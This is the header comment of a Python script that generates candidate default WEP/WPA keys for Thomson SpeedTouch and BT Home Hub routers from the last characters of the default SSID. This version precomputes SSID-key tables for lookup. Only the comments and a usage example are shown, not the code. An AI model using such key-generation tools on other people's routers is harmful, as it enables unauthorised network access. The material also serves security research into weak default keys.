# Slightly modified version of the script by Kevin Devine (see below).
# This version computes SSID-key pairs and prints them to stdout.
# You can save the results to a text file and search it for faster
# lookup. It's faster than generating them every time, especially since
# the year list has been expanded to 2012, but of course it takes up
# space.
#
# I suggest you save the output to a text file, zip it and use zgrep to
# search when needed.

# ====== Original description follows ==========
#
# Python version of stkeys.c by Kevin Devine (see http://weiss.u40.hosting.digiweb.ie/stech/)
# Requires Python 2.5 for hashlib
#
# This script will generate possible WEP/WPA keys for Thomson SpeedTouch / BT Home Hub routers,
# given the last 4 or 6 characters of the default SSID. E.g. For SSID 'SpeedTouchF8A3D0' run:
#
# ./ssid2key.py f8a3d0
#
# By Hubert Seiwert, hubert.seiwert@nccgroup.com 2008-04-17
#
# By default, keys for router serial numbers matching years 2005 to 2007 will be generated.
# If you wish to change this, edit year_list below.
